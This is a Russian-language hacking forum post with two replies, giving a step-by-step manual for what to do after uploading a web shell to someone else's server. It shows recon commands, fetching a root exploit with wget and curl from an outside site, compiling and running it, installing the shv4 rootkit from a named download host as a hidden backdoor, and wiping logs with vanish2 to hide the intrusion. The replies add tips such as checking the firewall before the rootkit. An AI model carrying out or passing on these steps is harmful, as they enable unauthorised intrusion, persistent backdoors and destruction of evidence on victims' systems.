Меня часто спрашивают, что делать, после того как шелл был залит и получен доступ к файловой системе удаленной системы. Поэтому я решил написать небольшой мануал о том, что же все-таки делать после того как ты залил шелл и оказался по ту сторону сайта, то есть на сервере. Ну приступим. Допустим мы с вами воспользовались найденной уязвимостью и нам удалось оказаться по ту сторону сайта, на сервере. 1. Есть ли кто? Для начала надо посмотреть есть ли кто нить в системе кроме нас, есть ли админы, как давно заходил админ. Все это можно проделать командой Code: who или last -n 10 допустим мы скомандовали who и в ответ получили вот это Code: [xzone@hahost ~]$ who xzone pts/3 Jul 5 09:44 (89.184.2.9) как видим в системе сейчас мы одни. Теперь скомандуем last - 10 и посмотрим историю входов, а точнее последние 10 входов. Code: [xzone@hahost ~]$ last -n 10 xzone pts/3 89.184.*.* Wed Jul 5 09:44 still logged in xzone pts/3 89.184.*.* Wed Jul 5 09:44 - 09:44 (00:00) ljsoft ftpd13508 82.162.12.215 Wed Jul 5 09:41 - 09:41 (00:00) ljsoft ftpd10081 82.162.12.215 Wed Jul 5 09:37 still logged in admin@wo ftpd10074 72.9.238.114 Wed Jul 5 09:37 - 09:37 (00:00) ljsoft ftpd7911 82.162.12.215 Wed Jul 5 09:33 - 09:34 (00:00) ljsoft ftpd7822 82.162.12.215 Wed Jul 5 09:33 - 09:33 (00:00) ljsoft ftpd7714 82.162.12.215 Wed Jul 5 09:33 still logged in ljsoft ftpd20043 82.162.12.100 Wed Jul 5 09:09 - 09:12 (00:02) backup ftpd32504 127.0.0.1 Wed Jul 5 05:23 - 05:23 (00:00) wtmp begins Sat Jul 1 05:01:35 2006 так как сечас в системе root'а нет поэтому мы можем спокойно работать дальше. Но стоит изредка проверять, не пришел ли админ сервака, чтобы не пропалиться. 2. Куда мы попали? Настало время осмотреться, куда же мы все-таки попали. Для этого достаточно выполнить команду uname -a. Вывод, которой нам повествует о том, какая же это система. Code: Linux 2.6.8-022stab077-smp-hb #4 SMP Fri Jun 23 22:59:49 MSD 2006 x86_64 x86_64 x86_64 GNU/Linux Теперь мы знаем, куда мы попали. 3. Собираем инфу о системе. Наверное, самый важный момент это собрать как можно больше информации об удаленной системе. Ну, версию оси мы уже выяснили командой uname -a. Теперь выясним, какие же качалки присутствуют на сервере, а также есть ли компилятор gcc. Это понадобиться нам для того, чтобы в дальнейшем мы смогли залить сплойт, если собираемся поэксплуатировать систему. Выполним следующие команды и узнаем, какие качалки есть. Code: [xzone@hahost ~]$ which lynx;which links;which get;which wget;which fetch;which curl /usr/bin/lynx /usr/bin/which: no links in (/usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/xzone/bin) /usr/bin/which: no get in (/usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/xzone/bin) /usr/bin/wget /usr/bin/which: no fetch in (/usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/xzone/bin) /usr/bin/curl проверим, есть ли компилятор Code: [xzone@hahost ~]$ which gcc /usr/bin/gcc ну вот мы выяснили, что на серваке есть wget и curl, а также есть компилятор gcc. Идем дальше. 4. Подбираем сплойт. Ну, подбор сплойта это даже тема отдельной статьи, так как сплойтов великое множество. Да и система, приведенная нами в пример не очень удачна, так как на ней многие сплойты просто не компиляться (x86_64 x86_64 x86_64 GNU/Linux). Архитектура понимаешь! Так что допустим мы нашли сплойт под эту версию и теперь мы его хотим заюзать. 5. Юзаем сплойт. Как уже было сказано сплойт мы нашли, осталось дело за малым залить его и запустить ). Для этого перейдем в папку /tmp. Папка /tmp всегда открыта для записи, что собственно нам и нужно. командой Code: cd /tmp мы переходим в папку. Теперь заливаем туда найденный нами сплойт качалкой wget Code: wget http://site.ru/sploit.c если же нету качалки wget то мона заюзать curl ну или те которые есть. Code: curl http://site.ru/sploit.c > sploit.c далее выполним команду Code: ls -al sploit.c чем собственно и проверим залился ли наш сплойт. Если сплойт удачно залился, надо его откомпилить. Для этого скомандуем вот так (Для разных сплойтов может быть по разному, привожу пример простейшего случая!!!) Code: gcc sploit.c -o sploit допустим наш сплойт скомпилился на ура. Теперь дадим егму нужные права на выполнение. Делается это командой chmod с различными параметрами. Нам нужен параметр +x, который дает права на запуск. Code: chmod +x sploit и наконец запускаем. Code: ./sploit после работы сплойта проверим свои права в системе командой id если мы увидим что-то врожде этого uid=0(root) gid=0(root) то самое время кричать УРААА!!! Это значит, что мы рут! А если права остануться что и прежде значит облом. 6. Закрепляемся в ситеме Закрепление в системе происходит по средством руткита. Для этого скачиваем руткит-возьмём shv4. Code: wget http://splo1t.narod.ru/rootkits/shv4.tar.gz tar xzf shv4.tar.gz cd shv4 chmod +x setup ./setup root 1280 где pass(пароль) и 1280(порт) ваши значения. Чтобы избежать проблем не надо вешать реткит на высокий порт. Заходит в putty указываем сайт, порт и конектимся. Имя root,а пароль тот что вы указали при настройке. В моём случае это root. После того как мы зашли, проверим, светиться ли нащ порт. Выполним команду Code: nestat -an Как видите заданный порт не где не светится,а значит мы освободили себя от зоркого глаза админа Осталось, почистить логи. 7. Чистим логи. Но после всех наших преключений остануться логи. Все наши действия будут записаны, для хакера это смерть! Поэтому их надо почистить. Для чистки логов я пользуюсь такой замечательной программой как vanish2. vanish2 - одна из лучших под *nix. скачиваем vanish2 ставим права на запуск Code: chmod +x vanish2. Собираем Code: gcc vanish2.c –o vanish Запускаем: Code: ./vanish root name_site 127.0.0.1 Где 127.0.0.1 ваш реальный ip. Если мы увидим надпись V_A_N_I_S_H_E_D_! то значит все ok! Мы все почистили. Специально для Xzone.org.ru. Автор: NEO Изначальна статья была размещена на http://xzone.org.ru/showthread.php?t=58
Так, небольшие замечания... Админ скорее всего не зайдет под рутом... Ведь для чего существует тогда комадна SU? Можно и не ставить -- gcc всегда делает бинарник исполняемым... З.Ы. Перед запуском руткита неплохо бы посмотреть настройки фаера, а то мож порт закрыт на входящие...
Извините за излишнюю тупорылость, но мне просто интересно кто ни будь вообще набирал в линух консоли команду who. Или все откуда-то это переписывают? Сколько раз не пробовал всегда облом , пока случайно не набрал команду w и не получил, то что нужно. Я, было, думал, что ее называют who, а пишут w. Но у автора явно видно, что он вводит именно who и получает результат. Сейчас попробовал на нескольких веб-шелах и нихера who - нет, w – есть. Толи гоню, толи старею